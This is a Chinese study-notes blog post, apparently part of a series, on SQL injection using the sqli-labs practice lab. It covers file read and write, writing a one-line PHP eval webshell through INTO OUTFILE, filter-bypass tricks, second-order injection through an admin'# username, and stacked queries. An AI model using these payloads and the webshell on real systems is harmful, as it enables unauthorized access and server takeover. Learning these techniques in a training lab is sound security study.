通过sqli-labs学习SQL注入(3)
补充的一些知识点
Less-7解锁的文件读写注入。
主要用到的函数和语句
load_file(fileName)
:读取服务器上指定路径的文件,需要有读取权限,文件路径可以转为16进制LOAD DATA INFILE
:load data infile '/tmp/1.txt' ignore into table test character set gbk fields terminated by 't' lines terminated by 'n'将1.txt 导入到test表中,character set gbk
字符编码为gbk,fields terminated by '\t'
字段以\t
结尾,每行以\n
结尾SELECT ... INTO OUTFILE 'file_name'
:把数据写到文件里,比如插入一句话木马Select <?php @eval($_post[“mima”])?> into outfile "c:\xxx\test.php"
绕过addslashes()
:这个函数的功能是对一些符号进行转义,比如单引号双引号,可以通过编码绕过和宽字节绕过
过滤关键字,比如select union or and 等等
绕过思路:改变大小写 SeLecT uNiON,or、and改为||、&&;编码绕过16进制 url;添加注释/*or*/
Less-24接触到二次注入,先提交一个构造的数据让服务器接收,再通过第二次操作触发注入。例:先注册一个admin'#的账号,然后登陆该账号修改密码,这时候修改的就是admin的密码。sql语句:updata users set password="new_password" where username='admin'#' and .....
堆叠注入
简单的说就是多条sql语句注入,例子:...?id=1';select 1,2,3;
注意:oracle数据库不支持
后面的order by注入语法也差不多,主要就是各种防御方式的组合了,用到的手段其实都是最开始那几关提到的。SQL注入原理就大概了解到这里。下一篇用sqlmap来实战,熟悉sqlmap使用以及巩固注入原理。
相关推荐
ALiDan 2020-07-27
qshpeng 2020-07-26
世樹 2020-07-17
chenjiazhu 2020-07-08
一对儿程序猿 2020-07-04
明月清风精进不止 2020-06-13
godfather 2020-06-13
ItBJLan 2020-06-11
tanrong 2020-06-11
ALiDan 2020-06-11
码墨 2020-06-09
世樹 2020-06-05
lt云飞扬gt 2020-06-03
godfather 2020-06-03
qshpeng 2020-05-11
明月清风精进不止 2020-05-07
gwn00 2020-05-07